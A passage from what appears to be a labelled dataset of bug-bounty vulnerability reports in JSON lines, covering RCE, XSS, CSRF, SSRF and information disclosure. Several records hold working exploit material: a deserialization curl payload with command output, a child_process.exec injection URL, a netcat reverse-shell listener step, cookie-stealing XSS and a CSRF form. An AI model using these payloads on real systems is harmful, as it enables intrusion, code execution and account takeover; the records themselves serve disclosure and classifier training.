"2022-09-15", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "5e7d06f759f65c046bfe", "text": "[Information Exposure Through Directory Listing] Information Exposure Through Directory Listing\n\n## Summary:\n\nDirectory listing is a web server function that displays the directory contents when there is no index file in a specific website directory. It is dangerous to leave this function turned on for the web server because it leads to information disclosure.\n\n## Steps To Reproduce:\n\nGo to this URL:  http://35.156.91.137/grafana/logs/\nYou can see logs files\nhttp://35.156.91.137/grafana/logs/error.log\nhttp://35.156.91.137/grafana/logs/access.log\n\n## PoC:\n```\n88.244.90.152 - - [31/Jan/2022:11:53:19 +0000] \"GET /api/live/ws HTTP/1.1\" 400 3325 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\"\n165.225.95.75 - - [31/Jan/2022:11:53:20 +0000] \"GET /api/live/ws HTTP/1.1\" 400 3325 \"-\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36\"\n88.244.90.152 - - [31/Jan/2022:11:53:21 +0000] \"GET /api/live/ws HTTP/1.1\" 400 872 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\"\n```\n```\n[Sat Feb 05 01:49:35.862611 2022] [core:error] [pid 8186:tid 140028348987136] [client 161.35.86.181:47058] AH00126: Invalid URI in request GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1\n[Sat Feb 05 01:49:36.316927 2022] [authz_core:error] [pid 8186:tid 140027803723520] [client 161.35.86.181:47426] AH01630: client denied by server configuration: proxy:http://127.0.0.1:3000/server-status\n[Thu Feb 10 23:55:47.412015 2022] [ssl:error] [pid 11243:tid 140029020075776] [client 54.205.194.131:42490] AH02042: rejecting client initiated renegotiation\n[Fri Feb 11 06:50:00.503097 2022] [proxy:error] [pid 4547:tid 140029011683072] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed\n```\n\n## Impact\n\nInformation Disclosure", "source": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "22d3e709504dd81ff4a7", "text": "[Unknown] Electron CVE-2022-35954 Delimiter Injection Vulnerability in exportVariable\n\n## Describe the summary:\nThe Electron Website provides a set of packages to make creating actions easier. The `core.exportVariable` function uses a well known delimiter that attackers can use to break out of that specific variable and assign values to other arbitrary variables. Workflows that write untrusted values to the `GITHUB_ENV` file may cause the path or other environment variables to be modified without the intention of the workflow or action author. Users should upgrade to `@actions/core v1.9.1`. If you are unable to upgrade the `@actions/core` package, you can modify your action to ensure that any user input does not contain the delimiter `_GitHubActionsFileCommandDelimeter_` before calling `core.exportVariable`.\n\n## Impact\n\n[CVE-2022-35954](https://afaghhosting.net/blog/cve-2022-35954/)\nCWE-74\nCWE-77\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N", "source": "hackerone", "timestamp": "2022-12-14", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "4c7e8a6257bbfebf7529", "text": "[Code Injection] Synthetics Recorder: Code injection when recording website with malicious content\n\n## Summary\n\nHello team! Synthetics recorder has a `quote` function to escape user-controlled input, but in one particular scenario the escaping isn't enough and a malicious website can inject arbitrary code in the recorder session.\n\n## Description\n\nThe `waitForNavigation` event calls `quote` within the context of a multi-line comment (`/* ... */`) so we can break out of that without using the escaped characters ([reference](https://github.com/elastic/synthetics-recorder/blob/v0.0.1-beta.3/electron/syntheticsGenerator.ts#L217=))\n\nIn a normal situation the code generated looks like this for a navigation event to `https://example.com`\n\n```javascript\n    page.waitForNavigation(/*{ url: 'https://example.com' }*/),\n```\n\nbut it's possible to escape out of the comment without using single quotes (which would be escaped) with a specially crafted URL like `https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/haxx`)/*`\n\n```javascript\n    page.waitForNavigation(/*{ url: 'https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/dee-see`)/*' }*/),\n```\n\nThe syntax highlighting here on HackerOne helps visualizing how that works. `$IFS` is used because spaces get encoded to `%20`.\n\nIt's possible to have code execution when the victim uses the `test` feature inside of the synthetic recorder but the code we're allowed to use is fairly limited because the `require` function isn't available. The maximum impact is when the user saves the recorded session as a project and executes it using the synthetic runner.\n\n## Steps To Reproduce\n\n### Preparation\n\nInstall the synthetics recorder (See https://github.com/elastic/synthetics-recorder/, I'm following the instructions to run it in development mode (`nvm install; nvm use; npm install; npm run dev`) but you could also download the binary on the releases page)\n\n### Reproduction\n\n1. Start Synthetics Recorder and enter `http://deesee.xyz:4567` in the text box where it says \"Enter a Starting URL\"\n1. Click \"Start Recording\"\n1. A browser has opened, this website is a modified clone of my blog. Click the GitLab icon in the top right\n\n    {F1820934}\n\n1. Close the browser window\n\n    In a normal Synthetics Recorder session there would be much more steps to record but here we only did what's necessary to trigger the issue.\n\n1. Click the \"Export\" button and you'll see this code\n\n    ```javascript\n    step('Go to http://deesee.xyz:4567/', async () => {\n      await page.goto('http://deesee.xyz:4567/');\n      await Promise.all([\n        page.waitForNavigation(/*{ url: 'https://gitlab.com/dee-see?query=*/require(`child_process`).exec(`touch$IFS/tmp/dee-see`)/*' }*/),\n        page.click('[aria-label=\"GitLab\"] svg')\n      ]);\n    });\n    ```\n\n    We can see the payload is in place. It's fairly obvious because we only recorded one step, but in a long recording session it would be buried deeper.\n\n1. Click the \"Export\" button and save the file in a directory\n1. In that directory run `npm init -y; npm install @elastic/synthetics; npx @elastic/synthetics .`\n1. When the tests finished running observe that the `touch /tmp/dee-see` command ran\n\nThose last steps seem contrived, but that's how a synthetics test suite is setup and how a developer would make sure the session they just recorded would be integrated into their builds and whatnot.\n\n## Supporting Material/References:\n\n{F1820942}\n\n## CVSS\n\nConfidentiality and Integrity impact are High because of the arbitrary command execution. I also included Availability impact because those commands can shut down the system. I will concede though that Attack Complexity could be \"very high\" if that existed on the Attack Complexity scale. :)\n\n## Impact\n\nSomeone with control over the website's content can run arbitrary code where ever the synthetics recorded session will be re-executed.\n\nDeveloper computers and CI systems come to mind. The most realistic attack scenario would be privilege escalation from within a company.", "source": "hackerone", "timestamp": "2023-04-08", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "3b49fda63a2f0399aa9a", "text": "[Unrestricted Upload of File with Dangerous Type] [Kafka Connect] [JdbcSinkConnector][HttpSinkConnector] RCE by leveraging file upload via SQLite JDBC driver and SSRF to internal Jolokia\n\n## Summary:\nThe Aiven JDBC sink includes the SQLite JDBC Driver. This JDBC driver can be used to upload SQLite database files onto the server. The HTTP sink connector allows sending HTTP requests to localhost. There is unprotected Jolokia listening on `localhost:6725`.  JMX exports the `com.sun.management:type=DiagnosticCommand` MBean, which contains the `jvmtiAgentLoad` operation. This operation can be used to execute the SQLite database as JVM Agent by embedding the JVM Agent JAR file inside the SQLite database as an BLOB field in a table.\n\n## Steps To Reproduce:\n\n{F1703051}\n\n  1. Login into my VPS: `ssh ████`, password: `█████████@`\n  1. Execute `nc -nlvp 4446`\n  1. cd to `jdbc-sqlite-jolokia-rce` and run `python3 poc.py` (if running locally, install kafka-python using pip first).\n  1. Reverse shell connection should now be established to my test instance\n\n## Impact\n\nRCE on the Kafka Connect server", "source": "hackerone", "timestamp": "2022-11-08", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "385f31fb0b33f42553ff", "text": "[Insecure Storage of Sensitive Information] All user password hash can be seen from admin panel\n\n# Summary:\nDuring my primary research I found that `api/users?page=1&userId=&firstName=test&lastName=&email=&partnerOrg=&highSchool=` this endpoint gives hashed password of all users.\n\n# Steps To Reproduce:\n+ Login to Admin and go to Admin--> Search Users.\n+ We see a request like this was send and in response we get the hashed password of all the users.\n\n{F1630381}\n\n##HTTP Request:\n\n```\nGET /api/users?page=1&userId=&firstName=test&lastName=&email=&partnerOrg=&highSchool= HTTP/2\nHost: hackers.upchieve.org\nCookie: connect.sid=s%3AaF9AzSGty6cZOHNTyahImdIzUoSDCWuB.ofJzU1Tr25W2Kd2unMFlpS66K4VsPtK3YE0xmHvUZGU; _gcl_au=1.1.2044852401.1644683211; _ga=GA1.2.1811282066.1644683221; _csrf=whFQZop0bR6xQh6KtmNQLBfS; __cf_bm=2KDOr5.OqRrhRkG3HhcUs0vp57z5O6ajxpDfiZBVfGA-1645624338-0-AU9Yc7GzGOeS+GILwGKIEWzbToj/4SEhBw5wog9uHW0rWkomQxhuC756xXzHVx5vQZWpm8qGUUNBPxFB6cvtTQ9BfzCJWA5Zq9jDYP3Z9p+Olw+qCSjBa/rjulVDF51Kjg==; io=zIQg9SCEJ_ZblHVdAAAy; _gid=GA1.2.1980510602.1645624337; ph_bogus_posthog=%7B%22distinct_id%22%3A%22619ea2c8488636001138121f%22%2C%22%24device_id%22%3A%2217eeec24dba290-06a553129ffb21-4c3e227d-1fa400-17eeec24dbb903%22%2C%22%24user_id%22%3A%22619ea2c8488636001138121f%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%7D\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nNewrelic: eyJ2IjpbMCwxXSwiZCI6eyJ0eSI6IkJyb3dzZXIiLCJhYyI6IjI2NzQ5NzQiLCJhcCI6IjQyOTE2Mzc1MCIsImlkIjoiNzFhMzgxOGNjZDQ2OGNkYyIsInRyIjoiYjBiM2Q0YTI3N2NjZDZmODBmOWU2NWIwODBlY2U1NDAiLCJ0aSI6MTY0NTYyNTExMDY0N319\nTraceparent: 00-b0b3d4a277ccd6f80f9e65b080ece540-71a3818ccd468cdc-01\nTracestate: 2674974@nr=0-1-2674974-429163750-71a3818ccd468cdc----1645625110647\nX-Csrf-Token: KeypPQND-ch0LQMIPkTckMoZdYHTBgA4Mha0\nX-Requested-With: XMLHttpRequest\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n```\n\n## Impact\n\nChances that weak passwords can be cracked and people might have same passwords for email and other places.", "source": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "d33d9dc61ee516e71e3e", "text": "[Improper Access Control - Generic] Missing rate limiting on password reset functionality allows to send lot of emails\n\nOn next cloud after signing up\nYou can reset your password here : https://support.nextcloud.com/#password_reset\nThe mail you will get will redirect you to a website named Wokli.\nAnd there you can also reset password using : https://ppp.woelkli.com/login\n\nHere you can bypass the rate limit using IP rotate extension of burp suite.\n\nSteps to reproduce:\n 1. Go to https://ppp.woelkli.com/login\n2. Enter your mail and click on reset password and intercept the request. The request will be something like this \n\nPOST /lostpassword/email HTTP/2\nHost: ppp.woelkli.com\nCookie: __Host-nc_sameSiteCookielax=true; __Host-nc_sameSiteCookiestrict=true; oc_sessionPassphrase=YbNqNZBiBLj69oHQyf2o9Kcd9jlMXTrBm1Wv0xyF7aY4VI6t%2FTizoufLy8m0lU%2BHZ%2F0mCRK%2FC6VSZYjmztLv%2FQfYbjZxKVA0GtwP2q80D744o7CztCkWEtjQpvBK7jtX; ock6rp1oyjad=44hbnjo8uc6jjih95vtvie80kc\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=utf-8\nRequesttoken: elTOLCp7a4nWX2tjz/8iSI1fDGEd8Qfqi5GpX/RNPlM=:LX++HX0TDvGabxMXp4taJ9cUVSlvq2XTvaTlHrUOByk=\nContent-Length: 30\nOrigin: https://ppp.woelkli.com\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n\n{\"user\":\"yougovxxx@gmail.com\"}\n\n3. Now send the request to repeater and try to resend it . After 7 to 8 tries it will give a rate limit and a response code of 429.\n4. To bypass it login to your IP rotate and send the above request to intruder and and turn ON IP rotate and set the intruder to null payloads.\n5. You will get lots of emails of reset password.\n\n\nSolution: \nI Will Recommend You To Add A ReCaptcha & Sort Of Something Which Requires Manual Human Interaction To Proceed Like You Can Add Captcha Like 2+2=___ so that it cannot be brute forced and you also can have a limit at the backend for particular number upto 5 times a day user can request Forget Password Email or Link something like that will prevent you from someone exploiting this vulnerability\n\n## Impact\n\nIf You Are Using Any Email Service Software API Or Some Tool Which Costs You For Your Email This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services It Can Take Bulk Of Storage In Sent Mail Although If Users Are Affected By This Vulnerability They Can Stop Using Your Services Which Can Lead To Business Risk", "source": "hackerone", "timestamp": "2023-03-05", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "eb46aaeca54ede608453", "text": "[Deserialization of Untrusted Data] RCE on Wordpress website\n\nThere is a trivial to exploit Remote Code Execution on nextcloud.com due to unserializing user input.\n\n# Proof of concept\nThe following command will execute the `system('id')` command on the host. As gadget chain I've used Monolog which is included in the PodLove WordPress plugin used on nextcloud.com: \n\n```\ncurl -i -s -k -X $'GET' \\\n    -H $'Host: nextcloud.com' \\\n    -b $'nc_cookie_banner={\\\"essentials\\\":true,\\\"convenience\\\":false,\\\"statistics\\\":{\\\"matomo\\\":false},\\\"external_media\\\":{\\\"youtube\\\":false,\\\"vimeo\\\":false}}; wp-wpml_current_language=en; nc_form_fields=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aToxMDA7fX1zOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjM6InBvcyI7aToxO3M6Njoic3lzdGVtIjt9fQ==' \\\n    $'https://nextcloud.com/newsletter/'\n```\n\nThe last line of the response will contain the output of the `id` command:\n```\n<!-- Performance optimized by Redis Object Cache. Learn more: https://wprediscache.com -->uid=33(www-data) gid=33(www-data) groups=33(www-data)\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n# Vulnerable lines of code\nThe `unserialize` call in the below code paths is performed on user-input. (`$_COOKIE['nc_form_fields']`)\n\nhttps://github.com/nextcloud/nextcloud-theme/blob/e6db0a90391ec94f9eb6d86e16dc16e36c5f4dd4/inc/ninjaforms.php#L114\n```php\nadd_filter( 'ninja_forms_render_default_value', 'nc_change_nf_default_value', 10, 3 );\nfunction nc_change_nf_default_value( $default_value, $field_type, $field_settings ) {\n    \n    if(isset($_COOKIE['nc_form_fields'])){\n        $nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));\n\n        if( str_contains($field_settings['key'], 'name') && !str_contains($field_settings['key'], 'organization') ){\n                if(isset($nc_form_fields['nc_form_name'])) {\n                    $default_value = $nc_form_fields['nc_form_name'];\n                }\n        }\n        if( str_contains($field_settings['key'], 'email') ){\n                if(isset($nc_form_fields['nc_form_email'])) {\n                    $default_value = $nc_form_fields['nc_form_email'];\n                }\n        }\n        if( str_contains($field_settings['key'], 'phone') ){\n                if(isset($nc_form_fields['nc_form_phone'])) {\n                    $default_value = $nc_form_fields['nc_form_phone'];\n                }\n        }\n    }\n\n  return $default_value;\n}\n```\n\nhttps://github.com/nextcloud/nextcloud-theme/blob/e6db0a90391ec94f9eb6d86e16dc16e36c5f4dd4/inc/ninjaforms.php#L431\n```php\nadd_filter( 'ninja_forms_render_options', function( $options, $settings ) {\n    \n    //https://www.html-code-generator.com/php/array/languages-name-and-code\n    $languages_list = array(\n        'en' => 'English',\n        // [snip]\n        'zu' => 'Zulu - isiZulu'\n    );\n\n    if(str_contains($settings['key'], 'language')) {\n\n        $options = [];\n        $browser_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);\n\n        $pref_lang = '';\n        if(isset($_COOKIE['nc_form_fields'])){\n            $nc_form_fields = unserialize(base64_decode($_COOKIE['nc_form_fields']));\n            if( isset($nc_form_fields['nc_form_lang'])){\n                $pref_lang = $nc_form_fields['nc_form_lang'];\n            }\n        } else {\n            $pref_lang = $browser_lang;\n        }\n\n\n        foreach($languages_list as $code => $language) {\n            $selected = false;\n\n            if($pref_lang == $code){\n                $selected = true;\n            }\n\n            $options[] = [\n                'label' => $language,\n                'value' => $code,\n                'calc' => 0,\n                'selected' => $selected\n            ];\n\n        }\n        \n    }\n  \n    return $options;\n}, 10, 2 );\n```\n\n## Impact\n\nRCE on the nextcloud.com WordPress instance. I have not tried to escalate up from the host, but I'd assume there is plenty of privilege escalation potential. (or at least the ", "source": "hackerone", "timestamp": "2023-12-28", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "b1b067f2a9f357fa5c1a", "text": "[Information Disclosure] insecure gitlab repositories at ████████ [HtUS]\n\n**If you click the link https://███, you're redirected to https://██████/users/sign_in, where credentials have to be inserted. \nThe repositories are private and shouldn't be accessable for unauthenticated users!**\n\n### POC\n\n* If you click the following links https://████/api/v4/projects, information about internal projects and users is leaked\n\n* I just take projectid: 4667 as an example for the information disclosure\n```\n{\"id\":4667,\"description\":\"This Network-graph based literature review tool uses the open-source version of Neo4j (https://neo4j.com/) with Jupyter Notebooks written in Python to import academic literature metadata from a variety of sources. \\r\\n\",\"name\":\"Graph-Based Literature Review Tool\",\"name_with_namespace\":\"Senft, Michael / Graph-Based Literature Review Tool\",\"path\":\"graph-based-literature-review-tool\",\"path_with_namespace\":\"██████████/graph-based-literature-review-tool\",\"created_at\":\"2021-10-19T12:47:16.550-07:00\",\"default_branch\":\"master\",\"tag_list\":[],\"topics\":[],\"ssh_url_to_repo\":\"git@██████:████/graph-based-literature-review-tool.git\",\"http_url_to_repo\":\"https://████████/███████/graph-based-literature-review-tool.git\",\"web_url\":\"https://████████/████████/graph-based-literature-review-tool\",\"readme_url\":\"https://███/███/graph-based-literature-review-tool/-/blob/master/README.md\",\"avatar_url\":\"https://████/uploads/-/system/project/avatar/4667/SchemaModel.jpg\",\"forks_count\":0,\"star_count\":1,\"last_activity_at\":\"2022-01-31T08:48:54.473-08:00\",\"namespace\":{\"id\":1306,\"name\":\"Senft, Michael\",\"path\":\"██████████\",\"kind\":\"user\",\"full_path\":\"██████\",\"parent_id\":null,\"avatar_url\":\"/uploads/-/system/user/avatar/1117/avatar.png\",\"web_url\":\"https://███/████████\"}}\n```\n\n* The source-code is accessable/readable: \nhttps://██████████/████/graph-based-literature-review-tool\nhttps://█████/███████/graph-based-literature-review-tool/-/blob/master/README.md \n\n* It can be cloned \n```\ngit clone https://███/██████████/graph-based-literature-review-tool.git\nCloning into 'graph-based-literature-review-tool'...\nremote: Enumerating objects: 198, done.\nremote: Counting objects: 100% (68/68), done.\nremote: Compressing objects: 100% (31/31), done.\nremote: Total 198 (delta 41), reused 64 (delta 37), pack-reused 130\nReceiving objects: 100% (198/198), 239.72 KiB | 503.00 KiB/s, done.\nResolving deltas: 100% (109/109), done.\n```\n\n## Impact\n\nA potential attacker has full access to user information and to the users source-code", "source": "hackerone", "timestamp": "2022-09-27", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "70e128aef71abbdb7d1b", "text": "[Information Disclosure] [█████████] Information disclosure due unauthenticated access to APIs and system browser functions\n\n**Description:**\nMultiple information exposure vulnerabilites were identified in a Jira Server instance (unauthenticated access to APIs and system browser functions). This report describes a combination of two separate vulnerabilities in two separate services This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network. the vulnerable registered as references JRASERVER-73060\n\n\n## References\nhttps://jira.atlassian.com/browse/JRASERVER-73060\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14179\n\n## Impact\n\nUnauthorised access and the data should not be visible.\nProject categories, resolutions, and usernames are listed even if the API is not authenticated\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n██████████\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n## Steps to Reproduce\n1. Navigate visit the target scope is https://██████████/secure/JiraCreditsPage!default.jspa\n 1. And now we found a directory is jira sensitive\n 1. Lets send a curl request to the `?maxResults=1000` endpoint, as shown below. In the request, point the post request to the server address you want to send the request to:\n\nHere's the HTTP Parameter request that the issue:\n```\nGET /rest/menu/latest/admin HTTP/1.1\nHost: ██████████\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nsec-ch-ua-platform: \"Mac OS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\n```\n * https://████/secure/JiraCreditsPage!default.jspa\n * https://█████████/rest/menu/latest/admin?maxResults=1000\n\n## Suggested Mitigation/Remediation Actions\n## Suggested Mitigation/Remediation Actions\nAnonymous access to endpoints listed below is restricted starting Jira 9.0. On future Jira 8.x releases and all LTS releases it is possible to restrict anonymous access with feature flags. On Jira 8.x to restrict anonymous access to the endpoint you need to disable feature flag aka provide `<feature.flag>`.disabled On Jira 9.0 you need to enable the same feature flag aka provide `<feature.flag>`.enabled\n\n\n**You can use given feature flags: **\n`/rest/api/2/projectCategory` - (Anonymous access disabled completely) \n`/rest/api/2/resolution` - (Anonymous access blocked only when there is no projects available for anonymous users) \n`/rest/menu/latest/admin` - There is currently no feature flag to disable anonymous access, please check linked ticket in \"duplicates by\" to track this problem.\n\n**Refferences**\nhttps://hackerone.com/reports/994612 \n[JRASERVER-73060](https://jira.atlassian.com/browse/JRASERVER-73060)", "source": "hackerone", "timestamp": "2023-09-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "49cc3c6b1fed53eabdbc", "text": "[Violation of Secure Design Principles] Password reset token leak via \"Host header\"  on third party website\n\nHi Security Team,\n\n#Product / URL\nhttps://your-store.wholesale.shopifyapps.com/\n\n#Description\nIt has been identified that the application is leaking Token to third party sites. In this case it was found that the Token is being leaked to third party sites which is a issue knowing the fact that it can allow any malicious users to use the reset password of user.\n\n\n#Reproduction Instructions /\n1) Send reset password link to your email address.\n2)Now go to email, turn burp suite intercept on and click on reset password link. Check for the requests having the token in \"host\" as third party website. And copy the link\n3)Now turn intercept off and reset the password.(with that link)\n4)Now reset the password.\n\n#Proof of Concept\nF1180911\n\n#Additional Information:\nNote also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.\n\n## Impact\n\nAs you can see in the `Host` the reset token is getting leaked to third party sites. So, the person who has the complete control over that particular third party site can Use the Token easily.", "source": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "cd0fae3ed25ad8c0c9a7", "text": "OpenBMCS 2.4 Unauthenticated SSRF / RFI\n\nSeverity: high", "source": "zeroscience", "timestamp": "2022-01-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "74fb185453b340f86dcd", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on  wordpress.com\n\n## Summary:\n\nHi team\n\nI found Stored XSS in wordpress.com via  app.crowdsignal.com\n\n\n## Platform(s) Affected:\n wordpress.com\n\n## Steps To Reproduce:\n1 . Go to https://app.crowdsignal.com/dashboard and create a poll\n2 . Put the payload as answer <img src=x onerror=alert(document.cookie)>\n3.  Go to Share Your Poll and Copy  the Website Popup\n4.Go to https://wordpress.com/posts add new post\n5. App Website Popup \n6. Save it\n7.Open the page and the XSS will fired\n\n█████████\n\n## Impact\n\nThe attacker can use this issue to execute malicious script code in the victim user browser also redirect the victim user to malicious sites", "source": "hackerone", "timestamp": "2023-05-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "376773f102cb33915902", "text": "[Cross-Site Request Forgery (CSRF)] CSRF - Modify User Settings with one click - Account TakeOver\n\n**Target Url**\nhttps://█████\n\n**Summary:**\nThis CSRF is sensitive, similar to the old one #799855 , here attacker can change user name, email, and password with just one click from user.\nI think its severity should be greater than Medium (High) since it doesn't require any user interaction but only just being authenticated to the target url.\n\n## Step-by-step Reproduction Instructions\n\n1. Login to your account.\n2. To generate the html code: You can click on save button in edit Profile section and intercept the request -> Engagement Tools -> Generate CSRF PoC.\n3. Copy and paste the generated code to html file \n```\n<html>\n  <body>\n    <form action=\"https://███\" method=\"POST\" enctype=\"multipart/form-data\">\n      <input type=\"hidden\" name=\"action\" value=\"save&#95;info\" />\n      <input type=\"hidden\" name=\"password&#91;original&#93;\" value=\"█████████\" />\n      <input type=\"hidden\" name=\"password&#91;confirmed&#93;\" value=\"██████████\" />\n      <input type=\"hidden\" name=\"email&#91;original&#93;\" value=\"███████\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n```\nOpen the file in browser, click the button and the profile info will be changed successfully.\n\n## Suggested Mitigation/Remediation Actions\nAdd a csrf-token in the header or in an hidden input to check if the user that is doing this action authorized or not.\n\n## Impact\n\nThis action is critical and sensitive. Attacker can upload this file to a url. Sends it to the victims. And when the authenticated victims navigate to the url their accounts details (username, email, password) will change.\nAttacker will undergo successful Account Takeover.", "source": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "cff95c9d7c4bc112315a", "text": "[Business Logic Errors] Ability to use premium templates as free user via https://stripo.email/templates/?utm_source=viewstripo&utm_medium=referral\n\n## Summary:\nHello, I found security vulnerability in your web application, another business logic.\n\n## Steps To Reproduce\n  1. Go to https://stripo.email/templates/?utm_source=viewstripo&utm_medium=referral\n  2. Choose any premium template and click ```use in editor```\n  3. Then sign in to save and it is in your templates\n\n## Supporting Material/References:\nDown there is video showing everything\n\n  * [attachment / reference]\n\n## Impact\n\nLose of business", "source": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8176f04deca012917dcf", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] HTML INJECTION on coins.state.gov\n\n##Summary \n\nHi team i hope you are well t is a pleasure to work in your program. I will begin to present the vulnerability that I found it: An html injection on coins.state.gov\n\n\n##Steps\n\n\n Vulnerable Link :\n```\n1.https://coins.state.gov/Errors.aspx?aspxerrorpath=Gxss\n```\n\n***Steps to reproduce ***\n\n###first step :\n    1. i used gxss and katana like tools to find vulnerable domain : https://coins.state.gov/Errors.aspx?aspxerrorpath=Gxss\n    2. i tried to xss but no result for now i  tried it manually but no result.\n\n\n###second step :\n       1.i had an idea to use dalfox tool to try xss or html injection.\n       2. it work only for html injection \n      3. a video below can help you to see the result\n      4. when i refresh the browser and i keep dalfox run there is another payload generated on the page\n\n```bash\necho https://coins.state.gov/Errors.aspx?aspxerrorpath=Gxss | dalfox pipe\n```\n\n{F2135442}\n{F2135443}\n\n## Impact\n\nIt can allow an attacker to modify the page. To steal another person's identity. The attacker discovers injection vulnerability and decides to use an HTML injection attack. Attacker crafts malicious links, including his injected HTML content, and sends it to a user via email", "source": "hackerone", "timestamp": "2023-04-26", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "dcd8e0ac8e790dc76ee5", "text": "[Cross-site Scripting (XSS) - Generic] Incomplete fix for CVE-2022-32209 (XSS in Rails::Html::Sanitizer under certain configurations)\n\nWhile building a PoC for CVE-2022-32209, I noticed that I could not fix my vulnerable application by updating https://github.com/rails/rails-html-sanitizer from 1.4.2 to 1.4.3 even though the Hackerone report about this vulnerability suggested that this should fix it (see here: https://hackerone.com/reports/1530898).\n\nI built this app with Rails 7.0.3.1 by just running \"rails new\", adding `config.action_view.sanitized_allowed_tags = [\"select\", \"style\"]` to the file `config/application.rb` and creating an endpoint that reflected a parameter after sanitizing it (ERB: `<p>Hello <%= sanitize @name %></p>`). When using the payload `<select><style><script>alert(\"XSS\")</script></style></select>` for the parameter I got an alert no matter what the version of rails-html-sanitizer was.\n\nI believe the reason is the following. There are two ways you can pass the list of allowed tags to the sanitizer. One is via a list of tags stored in a class attribute, the other is via an argument passed into the `sanitize` method. The fix only considered the second way but the first one was forgotten. See the commit with the fix here: https://github.com/rails/rails-html-sanitizer/commit/c871aa4034d3d80ad67cf33a3462154b0a0fb477#diff-0daf33b9062eb5ccdeae86ed8bf2662a6e8669f1a7db590802b7f3b36ea47426R159\nThe relevant part of the code is this:\n\n```ruby\nmodule Rails\n  module Html\n    class SafeListSanitizer < Sanitizer\n      ...\n      def remove_safelist_tag_combinations(tags)\n        if !loofah_using_html5? && tags.include?(\"select\") && tags.include?(\"style\")\n          warn(\"WARNING: #{self.class}: removing 'style' from safelist, should not be combined with 'select'\")\n          tags.delete(\"style\")\n        end\n        tags\n      end\n\n      def allowed_tags(options)\n        if options[:tags]\n          remove_safelist_tag_combinations(options[:tags])\n        else\n          self.class.allowed_tags\n        end\n      end\n      ...\n    end\n  end\nend\n```\n\nMethod `remove_safelist_tag_combinations` is introduced to remove `style` from the allow list if `select` is in there. However, within method `allowed_tags` this cleanup is only applied to the tag list in the `options`, not to ` self.class.allowed_tags`, the list stored in the sanitizer class.\nHowever, it seems that the configuration in  `config/application.rb` which I've set above put the list into the class variable (I've sprinkled a few `puts` here and there to confirm that).\n\nMoreover, when moving the allow list from 